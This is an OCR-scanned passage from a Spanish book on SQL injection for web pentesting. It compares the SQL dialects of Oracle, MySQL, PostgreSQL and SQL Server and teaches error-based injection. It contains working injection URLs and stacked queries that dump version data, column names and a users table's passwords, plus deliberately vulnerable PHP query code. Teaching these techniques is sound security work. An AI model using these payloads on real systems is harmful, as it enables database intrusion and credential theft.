O no detectar vulnerabilidades existentes. O no ser capaces de explotarlas de forma adecuada. O,
simplemente, producir un error.

‘Desde luego, cuanto mejor sea la herramienta menor serd la probabilidad de que esto ocurra. Pero

cuando suceda, detras de ella debera haber un buen especialista que lo detecte y aplique sus
conocimientos, sus habilidades, su intuicion y su sentido comun para poner solucion a la situacioén
creada. Alguien que domine las técnicas que el programa utiliza.
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Y, por otro lado, la gravedad de las vulnerabilidades no es algo intrinseco a ellas. Quizi ¢

vulnerabilidades no tengan demasiadas repercusiones cuando se dan por separado peos
combinadas, pueden poner en serio riesgo la seguridad de un sistema, e incluso de uro,
organizacion. Es el principio de sinergia: el conjunto es mayor que la suma de las partes. 5

El test de penetracion puede convertirse asi en un rompecabezas en el que alguien debe poner-

orden. Alguien que conozca la organizacion, las herramientas, las técnicas Y que sea capaz de
manejar una situacion cuya complejidad va creciendo a medida que va obteniendo Més
informacion sobre su objetivo. Y que sepa inventar e innovar.

Y ese tipo de cosas no las hacen demasiado bien los programas.

5. Referencias

1. La web htip://www.databasesecurity.com, mantenida por David Litchfield, contiene numerosos
documentos relacionados con las técnicas de SQL Injection, la mayoria de los cuales versan sobre
entornos con bases de datos ORACLE.

2. John The Ripper, la conocida herramienta para descifrar contrasefias, puede ser encontrada en:
http://www.openwall. com/john/
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Capitulo V
Otras diferencias entre DBMS

En los capitulos previos se trataron aspectos técnicos relacionados con la explotacion de las
vulnerabilidades de tipo SOL Injection y se mostrd hasta qué punto pueden ser peligrosas.

Y es que los Sistemas Gestores de Bases de Datos modernos proporcionan una flexibilidad y unas
capacidades que exceden con mucho a lo que inicialmente pretendia ser SQL.

El precio que hay que pagar por ello es que cada Base de Datos introduce sus propios elementos,
con frecuencia incompatibles con los de la competencia. Todos hablan SQL, pero cada uno tiene
su propia version, su propio dialecto. Esto hace que sentencias SQL que funcionan sin problemas
en PostgreSQL den lugar a errores de ejecucion en ORACLE, que instrucciones validas en
MySQL no lo sean por ejemplo en Microsoft SQL Server, etc.

En el presente capitulo se mostraran técnicas para resolver problemas que se presentan
habitualmente al intentar explotar vulnerabilidades de tipo SQL Injection, presentando posibles
soluciones aplicables a varios de los Sistemas Gestores de Bases de Datos mas utilizados. Para las
pruebas se utilizaron las siguientes versiones de los productos: ORACLE Database 1lg,
PostgreSQL 8.4.8, MySLQ 5.1.54 y SQL Server 2008R2 Express.

Las posibilidades, por supuesto, no se limitan a las aqui expuestas. A menudo se puede obtener los
mismos resultados por diferentes medios, usando distintas clausulas, funciones, cte. Sirva lo que
sigue, al menos, como introduccion.

1. Sintaxis y construcciones

Cuando se comparan distintos gestores de bases de datos, posiblemente una de las diferencias que
resultan llamativas desde el primer momento es la relativa a la obligatoriedad de incluir una
clausula FROM en las sentencias SELECT. ORACLE exige siempre la existencia de esta clausula,
independientemente de si los datos se extraen o no de relaciones. Para aquellos casos en que no
esté involucrada ninguna tabla ni ninguna consulta, se provee una “tabla ficticia” denominada
“dual™:
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‘ Select 1 from dual :’

MySQL soporta también la tabla “dual”, siendo obligatorio su uso si la consulta contiene una
clausula WHERE:

mysgl> select 1;
+-——t

[ ik

+———+

[ 1]

-t

1 row in set (0.01 sec)

mysql> select 1 where 1=1;

ERROR 1064 (42000): You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near 'where 1=1' at line 1

mysqgl>

mysqgl>

mysqgl>

mysgl> select 1 from dual where 1=1;

fom—t

[ 1 |

F—— =t

[ 1 |

d———

1 row in set (0.00 sec)

mysql> select 1 from dual where 1=2;
Empty set (0.01 sec)

Por su parte, SQL Server y PostgreSQL ni soportan el uso de la tabla “dual” ni obligan a utilizar
una cldusula FROM:

select 1 '

select 1 where 1=1 ‘

Como puede observarse, tres comportamientos distintos en cuatro gestores de bases de datos. Y no
es éste el nico tema en el que cada uno marcha por su lado.

Algunas de estas diferencias son meros detalles, anécdotas a tener en cuenta. Por gjemplo, as
funciones que se utilizan para obtener un cardcter a partir de su cédigo ASCII, extraer una parte de
una cadena o su longitud. Asi, en SQL Server estas funciones son, respectivamente
“CHAR(codigo_ascii)”, “SUBSTRING(cadena,inicio,longitud)” y “LEN(cadena)”.

Nombres muy en la linea del lenguaje Basic.
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ORACLE y PostgreSQL las llaman “CHR”, “LENGTH” y “SUBSTR”, respecivamente, mientras
MySQL usa “CHAR”, “LENGTH” y “SUBSTR”. Curiosamente, a pesar de las diferencias en los
nombres, la semantica y los parametros de entrada son idénticos a los de SQL Server. Al menos,
para obtener el cédigo ASCII de un cardcter, los cuatro motores de bases de datos coinciden en
usar “ascii”. Algo es algo.

En otras ocasiones, el contraste entre las sintaxis a emplear con distintas bases de datos es tal que
tiene serias implicaciones practicas. Por ejemplo, sobre la forma en que se puede obtener las filas
de una relacion de una en una, realizando varias peticiones. Las siguientes tablas muestran
diferentes formas de hacerlo en los distintos Sistemas Gestores de Bases de Datos.

MySQL y PostgreSQL retornan la primera fila de una relacion ante una consulta del tipo:

SELECT coll, col2
FROM tabla
|LIMIT | OFFSET 0

... e incrementando el valor del OFFSET se podria obtener el resto, mientras que ORACLE y SQL
Server (y de nuevo PostgreSQL) realizan la misma operacion con:

SELECT * FROM (
SELECT row_number()
over
(order by columna)
as posicion,
tabla.*
FROM tabla) T
WHERE posicion = |

En este caso, para obtener las siguientes filas se deberd modificar el valor indicado para
“posicion”.
Siguiendo con las variantes que presentan los motores de bases de datos, aparecen los comentarios.

Uno de esos recursos que posiblemente no sean imprescindibles para explotar una vulnerabilidad
de SQL Injection pero que, sin duda, pueden facilitar, y mucho, las cosas.

En general, pueden distinguirse dos tipos de comentarios: los que estan delimitados entre las
secuencias “/*” y “*¥/” y los que comienzan en un punto y terminan con el final de la linea. Los
primeros estdn soportados por ORACLE, MySQL, PostgreSQL y SQL Server:

[ SELECT /*comentario*/ 'prueba'; |

O, en ORACLE

| SELECT /*comentario*/ 'prueba' from dual; |
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En cuanto a los segundos, su sintaxis varia segiin el Gestor de Bases de Datos:

BASE DE DATOS SINTAXIS

ORACLE select | from dual -- comentario;
MySQL select 1; # comentario
PostgreSQL select 1; -- comentario

SQL Server select 1; -- comentario

Obsérvese como MySQL rompe con la regla general de usar dos guiones, utilizando en su lugar
una almohadilla. Pero incluso entre los demas existen diferencias: en ORACLE el comentario debe
incluirse ANTES del punto y coma con que se termina la instruccion.

A modo de resumen: a lo largo de este epigrafe se han mostrado varias de las diferencias existentes
en el lenguaje SQL soportado por distintos sistemas gestores de bases de datos. Y hay muchas
mas. Algunas ya han sido tratadas con anterioridad en el presente libro y otras lo seran en lo poco
que le queda por delante.

Con todo, un gran nimero de ellas se quedaran, necesariamente, en el tintero.

2. Informacion sobre la Base de Datos.

A la hora de explotar una vulnerabilidad de SOL Injection, el atacante debe comenzar por obtener
cuanta informacion le sea posible sobre la Base de Datos: qué motor usa y qué version, con qué
cuenta se conecta la aplicacion, qué tablas existen... De ese modo podrd hacerse una idea de a qué
se enfrenta y qué puede obtener.

En el capitulo I se mostré como determinar qué gestor de bases de datos utiliza una aplicacion.
Pero esta informacion no determina de forma concluyente qué caracteristicas presenta aquel:
dentro de un mismo motor habra diversas versiones y cada una soportard unas determinadas
funcionalidades.

Para conocer qué version del motor de bases de datos estd instalada se puede recurrir a las
siguientes consultas SQL.

BASE DE DATOS SINTAXIS
ORACLE select version from vSinstance;
select version();
MySQL y
select @@version();
PostgreSQL select version();
SQL Server select (@(@version;
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Como puede observarse, de nuevo, la solucion al problema depende de qué base de datos utilice la
aplicacion,
Una vez caracterizado el sistema gestor de base de datos, el siguiente objetivo es conocer a qué

instancia particular, a qué base de datos, se conecta la aplicacion. De nuevo, cada DBMS
proporciona una forma distinta para acceder a dicha informacion:

BASE DE DATOS SINTAXIS
ORACLE select name from v$database
MySQL select database();
PostgreSQL select current database();

| SQL Server select DB NAME():

Y si se desea determinar qué otras instancias coexisten con ella en el mismo servidor, la solucién
vuelve a venir de la mano de las tablas y vistas que conforman el catdlogo de recursos del sistema:

BASE DE DATOS SINTAXIS

MySQL select schema_name
from information schema.schemata;

select datname, datcl
PostgreSQL from pg_database;

“datcl” contiene informacion sobre los permisos de acceso
SQL Server select name from master..sysdatabases;

ORACLE es, en este caso, una excepcion, puesto que no se prevé la interaccion entre las instancias
de bases de datos. De todos modos, siempre se puede obtener esta informacion si se consigue
acceso al sistema operativo o a los archivo del servidor. Por ejemplo, consultando el contenido del
fichero TNSNAMES.ORA. Y no es la tinica opcion:

- En Linux, Unix y similares se puede consultar el contenido del fichero “/etc/oratab”, en
el que se configuran las distintas instancias.

- En Windows, cada instancia requiere de la existencia de una serie de servicios. Sus

nombres comienzan por “oracleservice”, por lo que pueden ser recuperados mediante una

instruccion como:

C:\User\Administrador> sc query | find /I

“oracleservice”

Dentro de una base de datos, y antes de terminar llegando a las relaciones, existen otros elementos
que pueden cualificar sus nombres. A veces, cuando se hace referencia a una tabla dentro de una
instruccion SQL, se utiliza una notacion del tipo:
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A lo largo del presente libro podra el lector encontrar numerosos ejemplos, como
“almacen.usuarios” o “almacen.productos”. ORACLE, MySQL, PostgreSQL y SQL Server, todog
cllos, soportan esta notacion y, sin embargo, cada uno de ellos asocia a este prefijo un significadg
distinto.

‘ prefijo.tabla

En PostgreSQL se corresponde con un espacio de nombres, o “namespace”. Una agrupacion de
elementos relacionados entre si. Se puede listar los namespaces existentes mediante la consulta:

Eelcct nspname from pg_namespace j

Mientras, en ORACLE, indica el propietario de la tabla y la lista de sus posibles valores se obtiene
cOmo respuesta a:

select distinct owner from all_tables |

En sistemas MySQL, el prefijo se refiere a la base de datos que contiene la tabla. Y en SQL Server
con el esquema de la misma. Para determinar sus diferentes valores se tendria una instruccién
SELECT como la siguiente:

select schema_name from information_schema.schemata ‘

Finalmente, es el turno de las tablas, cuyos nombres pueden ser determinados mediante consultas
como las siguientes:

BASE DE DATOS | SINTAXIS

ORACLE select table_name, tablespace_name
from all_tables;

select table_schema,table name
MySQL from information_schema.tables
where table_type='BASE TABLE'

select relname,nspname

PostgreSQL from pg_class, pg_namespace
where pg_namespace.oid = relnamespace;
USE <base de datos>;

SQL Server select table_name

from information_schema.tables
where table_type='BASE TABLE'

... para, posteriormente, encontrar los nombres de las columnas que las componen:
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BASE DE DATOS SINTAXIS

select column_name, data_type

from all tab_columns

where table_name = '<table>"'

ORACLE and owner = '<base de datos>' and column_id = 1

Incrementar el valor de “column_id” para extraer la informacion de las
demds columnas.

select column_name, data_type

from information_schema.columns

where table_name='<tabla>'

MySQL and table schema='<esquema> ' and ordinal_position=1;

[r incrementando el valor de “ordinal position” para obtener los datos
de las diferentes columnas

select attnum,attname,typname

from pg_class, pg_namespace, pg_attribute, pg_type
where attnum=1

and pg_type.oid=atttypid

and attrelid=pg_class.oid

and relname="<nombre de la tabla>"'

and pg_class.relnamespace=pg_namespace.oid
PostgreSQL and nspname="<nombre del namespace>'

Ir incrementando el valor de “attnum™ para obtener los datos de las
diferentes columnas.

Los valores de “attnum” menores que cero reportan las columnas
creadas por el sistema.

use <base de datos>;

select column_name, data_type
from information_schema.columns
SQL Server where table_name='<tabla>'

and ordinal_position=1;

Ir incrementando el valor de “ordinal position™ para obtener los datos
de las diferentes columnas

A estas alturas, el atacante sabria, al menos, de donde extraer la informacion.
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3. SQL Injection basada en errores

Recordara el lector que en el primer capitulo de este libro se hicieron varias pruebas con una
aplicacion web que utilizaba una base de datos PostgreSQL. Y que, si la aplicacion mostrabg
(¢

mensajes de error demasiado “reveladores”, éstos podian ser utilizados para extraer informacion de -

interés. Después, en el apartado 5 del capitulo 2 se volvia a emplear esta técnica, esta vez contra
una aplicacion que usaba ORACLE.

Cada gestor de bases de datos se comporta de forma diferente ante un error. Ante una misma
instruccion, uno puede presentar un aviso en el que figura el valor que lo ocasioné mientras que
otro, simplemente, avisard de que existe un problema en tiempo de ejecucién. Y otro, quiza, no
encuentre nada que objetar en ella.

Y con los entornos de produccion pasa algo similar. Por ejemplo, con la implementacion del
acceso a MySQL desde PHP 5, atin cuando éste tenga habilitados los mensajes de error, lo normal
es que solo aparezcan vagos mensajes del tipo:

Warning: mysql_num rows() expects parameter 1 to be resource, boolean given in
/var/www/pruebas/mysql.inc.php on line 19

Quizé atin desvelen demasiado. Al menos, una ruta de archivo y que se usa MySQL. Y que hubo
un error, lo cual podria aprovecharse mediante técnicas de Blind SQL Injection basadas en errores.
Pero no para obligar al programa a visualizar informacién de la base de datos. Ya lo indica la
propia documentacion de PHP:

Description:

string mysql_error([ resource $link_identifier ])

Returns the error text from the last MySQL function. Errors coming back from the MySQL
database backend no longer issue warnings. Instead, use mysql_error() to retrieve the error text.

... lo cual puede leerse en: htip://www.php.net/manual/en/function.mysql-error.php

Este es uno de esos casos en que, por la calidad de la traduccion, mejor no leerse la pagina en
castellano. Al menos, en la fecha en que se escriben estas lineas. Pero, por si alguien la prefiriera:
http.//www.php.net/manual/en/function.mysql-error.php

En definitiva, el atacante necesitaria la “colaboracion” de su victima: que la aplicacion muestre de
forma expresa los mensajes de error mediante una linea de codigo como:

echo mysql_error($conexion); :l

Y si el entorno de explotacion es ASP.NET, las opciones por defecto tampoco permitiran los
mensajes de error explicitos. Para activarlos, se puede crear un fichero en la carpeta raiz de la
aplicacion con el siguiente contenido:

W
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<configuration>
<gystem.web>
<customErrors mode="0ff" />
</system.web>
| </configuration>

En definitiva, lo més probable es que, si el motor de bases de datos es MySQL, no se pueda contar
con unos mensajes de error demasiado locuaces. Pero siempre habrd ocasiones en que la fortuna
del atacante le proporcione una presa facil.

En estos casos, pueden utilizarse varias construcciones para forzar los errores en tiempo de
ejecucion. La primera sorpresa es que no valdran las tipicas conversiones de cadenas a valores de
tipo numérico, ya que éstas se producen con total normalidad: simplemente devuelven un 0 (cero).
La solucion que frecuentemente aparece en la bibliografia, y en Internet, hace uso de una sintaxis
bastante mas complicada. Obsérvese la siguiente instruccion:

select count(*), floor(rand(0)*2) from almacen.productos group by 2 1

Aungque a primera vista no se aprecie, hay un error. Se agrupan los resultados usando como criterio
la segunda columna, que se calcula mediante la formula:

m}or( rand(0)*2)

En el proceso, sera necesario consultar varias veces el valor de esta columna. Y, al incluir una
invocacion a la funcion “rand” (que genera un nimero aleatorio), no siempre se encontrard lo
mismo. En este caso, podra ser un 0 6 un 1. Como consecuencia, es mas que posible que estas
incongruencias terminen generando un error. Posible y probable, que no seguro, porque esta
involucrado el azar, si bien en las pruebas realizadas fue necesario y suficiente que la tabla de la
que se extraen los datos tuviera al menos tres elementos. El mensaje obtenido seria algo similar a:

Duplicate entry 'l' for key 'group_key'

... donde 17 es el valor que causa el problema.

Para aprovechar este mensaje es necesario que aparezca en ¢l la informacion que se desea extraer
(supongase que se trata de la version de la base de datos), que la entrada que provoca el fallo la
contenga. Para lo cual puede utilizarse la funcién “concat™:

select count(*), concat(floor(rand(0)*2),'-> ',version())
from almacen.productos group by 2

El valor sigue siendo aleatorio y produciendo duplicados. Pero, esta vez, mds interesantes, como
puede comprobarse mediante una URL como la del siguiente ejemplo. Notese como, en lugar de



Hacking de Aplicaciones Web: SOL Injectiop

almacen.productos, se usa una consulta que genera tres filas (la aplicacion fue modificada para
que mostrara la consulta creada y los mensajes de error):

http://webserverl/pruebas/producto.php?id=1 and exists(
select count(*), concat(floor(rand(0)*2),-> ',version())
from (select 1 union select 2 union select 3) t

group by 2 )

am;;_:._.,—}- aroup by PSR C‘.GXH_.;:M}MM % Y, Ry LT

Usando MySQL

select * from almacen.productos where id = 1 and exists(select count(*), concat
(floor{rand(0)*2),"-> ",version()) from (select 1 union select 2 union select 3) t group

by 2)

Warning: mysql_query() [function.mysql-query]: Unable to save result set 3
in fvar/www/pruebas/mysqLinc.php on line 14

Duplicate entry '1-> 5.1.54-1ubuntu4'
| for key 'group key' .

Fig 5.1: Mensaje de error

Otra funcién que provoca mensajes de error apropiados para esta técnica es “ExtractValue”, que
obtiene un valor de un documento XML utilizando notacion XPath. Puede obtenerse mas
informacién sobre la misma en:

http://dev.mysql.com/doc/refman/5.1/en/xml-functions. html J

Un ejemplo de su uso para determinar la version de MySQL empleada, esta vez utilizando un
servidor con ASP.NET, seria:

| http://192.168.56.103/prueba.aspx?id=1 and extractvalue(1, concat('/",version()))
()0 [© TR £ - £ ¢ X ]| @ (eATH symaneron 5150 % ]

Error de servidor en la aplicacion '/'.

\_" ftﬁ i

XPATH syntax error: '5.1.54-1ubuntu4’

Descripcién: Excepcidn no controlada al ejecutar la solicitud Web actual. Revise el seguimiento de la pila
para obtener mas informacidn acerca del error y ddnde se ongind en el cadigo.

Detalles de la excepcién: MySql. Data MySqlClient. MySqlException: XPATH syntax error. '5.1.54- -
e | : - 1 — b i

scnals | I
Fig 5.2: Error

~
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Si MySQL no es demasiado propicio a mostrar errores con informacion relevante para el atacante,
otros motores de bases de datos son mucho mas permisivos. Por ejemplo, SQL Server y
PostgreSQL se comportan de forma harto curiosa ante un uso indebido de clausulas “HAVING”,
como en:

Fclecl * from almacen.productos where id=1 having 1=1 |

... lo cual puede ser aprovechado en URLSs del tipo:

[ http://webserverl/pruebas/producto.php?id=1 having 1=1 |

Cuya respuesta contendra informacion sobre la consulta ejecutada y sobre una de las columnas que
produce:

hitp//webserverl/pruckas/s O ~ B & X

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR.: [ERSIETTIES
A«productos.referenciaA» debe aparecer en la clAjusula GROUP BY (=%
usada en una funciA®n de agregaciA®n LINE 1: select * from almacen proguctos
where id = 1 having 1=1 * in /var/www/pruebas/pg.inc.php on line 14 ==

— - o a . . .

Fig 5.3: PostgreSQL

0, en el caso de SQL Server:

& nittp//webserved /prucbas/; O = B G X

Usando SQL SERVER b

Warning: mssql_query() [finction.mssql-query]: message:

FIETEEIARn S C ¥Tis uvalid in the select list because it is not contained in

either an aggregate function or the GROUP BY clause. (severity 16) =
R155% ~

Fig 5.4: SQL Server

Una vez conocido el nombre de un campo, el siguiente puede determinarse mediante otra
inyeccion de codigo SQL:

mtp:r’fwebscrverl:’pruebas!producto.php?id=l group by id having 1=1




b
b
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Obsérvese como se ha incluido una clausula “group by id”, donde “id™ es el nombre del campo
determinado en ¢l paso anterior (tampoco era tan dificil adivinarlo a partir del parametro GET que
utiliza la aplicacion). Aparecerd el nombre de una nueva columna:

I“‘ httpr//webserverl /pruebas O ~ B G X 'l ) webserverl ’ | ‘ I Ty tes

Usando SQL SERVER

ery()[hmcnml mssql-query]: m e: Column

) : 197 is duvalid in the select list because it is not
contamed in either an aem’egate functlon or the GROUP BY clause (sev: erlty =

ql‘1259(- hd

Fig 5.5: Otra columna

Para seguir determinando las columnas, se irfan afiadiendo los nombres ya conocidos a la cliusula
“group by”, resultando sucesivamente en los siguientes accesos:

http://webserverl/pruebas/producto.php?id=1 group by id,referencia having 1=1
http://webserverl/pruebas/producto.php?id=1 group by id,referencia,nombre having 1=1
http://webserverl/pruebas/producto.php?id=1 group by id,referencia,nombre,precio having 1=1

Esta dltima URL no producird ningiin error, con lo que se habra completado el proceso de
determinacion de los nombres de las columnas y su orden de aparicién. Para tratar de determinar
sus tipos, se puede forzar una comparacién con valores numeéricos:

http://webserverl/pruebas/producto.php?id=1 and nombre=1 j

. lo cual, en SQL Server, arrojara un error en caso de que el campo sea de tipo texto:

=1 and nambre=. p_"_E_C_ﬂl =) webszerverl x ]__

Usando SQL SERVER

‘Warning: mssql_query() [function.mssgl-query]: message: Conversion failed
when converting the varchar value 'Tornillo’ to data type int. (severity 16)
in /var/www/pruebas/mssqlinc.php on line 15 -

*l}j% -

L — - Ll —_—

Fig 5.6: Tipo cadena
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Notese como aparece el valor de cadena que ocasiono el error, haciendo posible la extraccion de
datos. Otra forma de obtener un resultado similar seria usar una unién con otra consulta:

rhttp:;’fwebserverlfpruebasfproducto.php?id=l union select null, I,null,null I

. la cual, en caso de producirse una situacion de excepcion revelaria que la segunda columna no
es de tipo numérico. Esta Gltima técnica funcionara tanto en PostgreSQL como en SQL Server,
dando cada uno de ellos su propia “informacion adicional™:

J| & http/iwebserverl/ptustes/ O > B CX || @

Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: los tipos
character y integer no son coincidentes en UNION LINE 1:
‘ almacen.productos where id = 1 union select null.1,null, nui

- g W * w0y i R

ﬁ I\-_, tp: websmrul prusbas; P~ B C X H =) webserverl x L J (R 1% &

Usando SQL SERVER .

Warning: mssql_query() [function.mssql-query]: message: Conversion failed
when converting the varchar value 'AAA' to data type int. (severity 16)

in /var/www/pruebas/mssql.inc.php on line 15 .
i 1% ~

Fig 5.7: Error en UNION

Para conocer el ntimero de filas de una tabla o una consulta, y quizéd los tipos de algunas de sus
columnas, pueden también usarse los errores generados por algunos motores de bases de datos en
las comparaciones entre filas de consultas:

mysgl> select * from almacen.productos where id=1 and (select * from
almacen.usuarios)=(1,2);

ERROR 1241 (21000): Operand should contain 4 column(s)

mysqgl>

postgres=# select * from almacen.productos where id=1 and (1,2,3) =
{select * from almacen.productos limit 1);

| ERROR: la subconsulta tiene demasiadas columnas

LA NEA 1: ...t * from almacen.productos where id=1 and (1,2,3) = (select

A

postgres=# select * from almacen.productes where id=1 and (1,2,3,4)




[
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(select * from almacen.productos limit 1);

ERROR: el operador no existe: integer = character

LA NEA 1: .* from almacen.productos where id=1 and (1,2,3,4) = (select
SUGERENCIA: NinghA°n operador coincide con el nombre y el tipo de los ]
argumentos. Puede desear agregar conversiones explicitas de tipos.

postgres=¢

S5QL> select * from almacen.productos where id=1
2 and (1,2)=(select * from almacen.usuarios where nombre = 'admin');
and (1,2)=(select * from almacen.usuarios where nombre = 'admin')
*
ERROR en lY¥nea 2:
ORA-00913: demasiados wvalores

5QL> select * from almacen.productos where id=1
2 and (1,2,3,4)=(select * from almacen.usuarios where nombre =
'admin');

ninguna fila seleccicnada

En SQL Server estas construcciones generarian errores de sintaxis.

Pero hay otras posibilidades. Con este motor también funcionan las conversiones de tipos:

‘ http: ;G’wcbserverlf'pruebasfproducto php‘?ld—l and I= convert(mt @(@version) J

Usando SQL SERVER

Warning: mssql_query() [function.mssql-query]: message: Conversion failed when converting the
IS R 0] Microsoft SQL Server 2008 R2 (RTM) - 10.50:1600.1 (Inte] X86) Apr 2 2010 |
15:53:02 Copyright (c) Microsoft Corpomhm Express Edition with Advanced Services on |
Windows NT 6.0 <X86> (Build 6001: Service Pack 1)
in /var/www/pruebas/mssqlinc.php on line 15

' to data type int. (severity 16)

Warning: mssql_query() [function.mssql-query]: General SQL Server error: Check messages from
the SQL Server (se\'erity 16) in .frt’lli"""(‘lll bas/] " inc.php on line 15
n.L. H PP |

HIB% v

= == =

Fig 5.8: Conversion

.. por poner un ejemplo.
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Y, recuérdese, tablas enteras pueden ser extraidas mediante esta técnica si se usan técnicas de
Serialized SQL Injection:

http://webserverl/pruebas/producto.php?id=1 and (select * from almacen.usuarios for xml

raw)=1

[ (=6 ]
e'.- x ,.'|@ http://webserver] /pruebas/prod O % 2CeX lembuw:rl (0 57 93

Usando SQL SERVER |

Warning: mssql_query() [function.mssql-query]: message: Conversion failed when

converting the nvarchar value '<row nombre="admin" contrasena="passadmin"

id="1" desc="Administrador"/><row nombre="usuariol" contrasena="password"

id="2" desc="Primer usuario"/><row nombre="usuario2" contrasena="password2"
id="3" desc="Segundo usuario"/><row nombre="133t" contrasena="P@55w0rd"
d="4" desc="El amigo friki"/>' to data type int. (severity 16)

in /var/www/pruebas/mssql.inc.php on line 15

Wammg mssql query() [ﬁmctmn mssgl-guer\] General SQL Server error: Check
i Al QLT O o, . SRR . Y- Sy ) LN L. P e Rt N

H15% ~

Fig 5.9: Serialized - Error

Y. a falta de éstas, si se quiere complica la cosa, se pueden insertar subprogramas o bloques de
codigo:

http://webserverl/pruebas/producto.php?id=1;
declare @temporal as TABLE(id int identity, texto varchar(max));
insert into @temporal(texto) select nombre %2b":'%2bcontrasena from almacen.usuarios;
declare @contador int, @total int;
set @contador = 1;
select @total = COUNT(*) from @temporal;
declare @resultado varchar(max);
set @resultado =";
while @contador <— @total
begin

set @resultado = @resultado %2b ' --- ' %2b

(select texto from @temporal where id = @contador);

set (@contador = (@contador %2b 1 ;

end;

select 1 where 1 = (@resultado
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ﬁ- |,}' it/ fwebserverl (prusbas/produc 2 ~ B GX_” & webserverl " l g

Usando SQL SERVER

Datos sobre el producto:

|Referencia Nombre Precio
AAA Tornillo 1

Buscar producto

Buscar: Buscar

Warning: Unknown: message: Conversion failed when converting the varchar value ' --
- admin:passadmin --- usuariol :password --- usuario2:password2 --- I33t:P@55w0rd’
to data type int. (severity 16) in Unknown on line 0 -

Fig 5.10: Otro error

Quiza sea mas largo, pero también proporciona una mayor flexibilidad.

4. Algunos problemas tipicos a la hora de inyectar codigo

4.1.Paréntesis

A veces, muchas veces, aun sabiendo que existe una vulnerabilidad SQL Injection, y conociendo
cual es el parametro vulnerable, hay problemas para determinar qué cédigo SQL hay que inyectar
para obtener el resultado deseado.

Considérese el siguiente codigo PHP:

$sql = "select nombre from almacen.productos where (id=".$_GET["id"]." )" ; j

Si esta cadena es utilizada posteriormente para realizar una consulta a la base de datos, la
aplicacion sera vulnerable. Sin embargo ante un intento tipico de aprovecharla como:

http://webserverl/pruebas/app2.php?id= -1 union select contraseiia from almacen.usuarios |

where nombre = 'admin '--

... la aplicacion sufriria a nivel interno un error y no mostraria el dato deseado, ya que la sentencia
SQL generada seria:

select nombre from almacen.productos where (id = -1  union select contrasefia from

almacen.usuarios where nombre = 'admin '-- )

i
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Como puede observarse, existe un error de sintaxis. Los dos guiones del final del parametro “id”
inician un comentario que hace que quede un paréntesis sin cerrar. Pero, incluso si se eliminaran,
la consulta seguiria sin estar bien construida.

El problema para el atacante es que, salvo que disponga del cdigo fuente de la aplicacion, a priori
no conoce la estructura de la consulta SQL que esta alterando con sus inyecciones. Por ello, antes
de darse por vencido, debe probar a ir cerrando paréntesis:

http://webserverl/pruebas/app2.php?id= -1  union select contrasefia from almacen.usuarios

where nombre = 'admin ') --

En el ejemplo anterior, esta vez si se obtendria el resultado deseado. Pero en otros casos serd
necesario probar con dos paréntesis, con tres, etc. hasta dar con el nimero apropiado.

Nota: Si bien son los mas frecuentes, los paréntesis no son el tinico elemento que
puede producir este tipo de problemas.
En PostgreSQL, por ejemplo, los “corchetes” o “paréntesis rectos™ (“[** y “T") son
usados para seleccionar un elemento de un array, como en:
elementos[3]
Y también permiten diversos niveles de anidacion:
elementos[indices[2]]
Una vez mas, conocer el sistema de gestion de bases de datos utilizado y su “dialecto™ de SQL es
de vital importancia para determinar en qué punto de una consulta puede estar teniendo lugar la
inyeccion y en qué forma puede estar anidado el codigo.

4.2.Inyecciones “zurdas”

Otro problema derivado de la falta de conocimiento de la estructura de la consulta SQL que se esta
manipulando es que muchas veces se ignora en qué parte de la misma se esta produciendo la
inyeccion.

Y no siempre es tan obvio. Por ejemplo, supdngase la siguiente URL:

http://webserverl/pruebas/buscadorl.php?cadena=prueba&campo=referencia

... donde los parametros GET son utilizados para crear la siguiente instruccion:

Ssql = "select nombre from productos where " .
S GET["campo"] .
"like '%" .
S_GET["cadena"] .

Il%l " ;
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Puede observarse que el parametro GET “campo” se usa para designar el campo de la tabla sobre
el que se quiere hacer las comprobaciones. El problema en este caso es que, aun siendo vulnerable
a ataques de SQL Injection, muchas aplicaciones automaticas no lo detectarian como tal o no
serian capaces de explotarlo.

La razon: al comprobar que el parametro es una cadena de texto, estos programas intentardn afiadir
una comilla al final. Y en este caso la comilla estd de mas.

Una persona con suficientes conocimientos de SQL y de la forma en que funcionan los programas
posiblemente se fije en qué informacion coloca en este parametro la aplicacion cada vez que se
realiza una peticion. Y analizandola sospechard que se trata de los campos de una tabla y se hara
una idea sobre en qué partes de la consulta serd insertado.

A veces, el propio nombre del parametro, la cookie, o cualquiera que sea el elemento vulnerable,
proporciona indicios sobre su funcién en la consulta a generar:

http://webserver1/pruebas/prueba.php?campo=nombred&tabla=almacen.productos&id=1&ordenarP
or=2
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Otras veces, el problema puede derivarse de algo sencillo pero infrecuente, como ocurre con las
“consultas invertidas”. La idea que subyace tras ellas es trivial: los operadores de comparacién
tienen dos operandos, normalmente del mismo tipo. Uno a cada lado del operador.

Lo mas habitual es encontrar construcciones de SQL del tipo:

Ssql = "select * from almacen.usuarios where nombre =" .
$ GET["nombre"]

"o,
E]

... pero nada impide hacerlo al revés:

$sql = "select * from almacen.usuarios where " .
$ GET["nombre"]

" =nombre";

Poco comin, si, pero sigue siendo correcto. Y una prueba de fuego para muchas de las
herramientas utilizadas para automatizar las técnicas de SLQ Injection.

Es frecuente que éstas fracasen al enfrentarse a una situacion extraiia. Por ejemplo, si trataran de
detectar o explotar la vulnerabilidad usando técnicas de Blind SQL Injection posiblemente
probarian con URLs del tipo:

http://webserver1/pruebas/buscausuario.php?nombre=admin' and 1=1 --

... pero eso crearia una sentencia SQL incorrecta:

select * from almacen.usuarios where 'admin’ and 1=1 -- = nombre ]

Si se desconoce la estructura de las consultas SQL que la aplicacion construye, lo mds conveniente
es utilizar entradas que funcionen tanto con las comparaciones habituales como con las
“invertidas”. En el ejemplo anterior, y suponiendo que el motor de bases de datos es PostgreSQL,
una opcion seria:

http://webserver1/pruebas/buscausuario.php?nombre=" || case when 1=1 then 'admin’
else '12212assdfafas' end ||

... donde se supone que no existe ningun usuario que se denomine “12212assdfafas”.

Recuérdese que “||” es el operador de concatenacion en PostgreSQL (los de MySQL, ORACLE y
SQL Server fueron tratados en el capitulo I). De este modo, si se usa el orden habitual de los
operandos, se tendria la siguiente consulta:

select * from almacen.usuarios where nombre=" || case when 1=1 then 'admin’
else '12212assdfafas' end || "

... y si se usa el menos frecuente:

select * from almacen.usuarios where " || case when 1=1 then 'admin’
else '12212assdfafas' end || " = nombre

Como puede comprobarse, ambas son correctas.

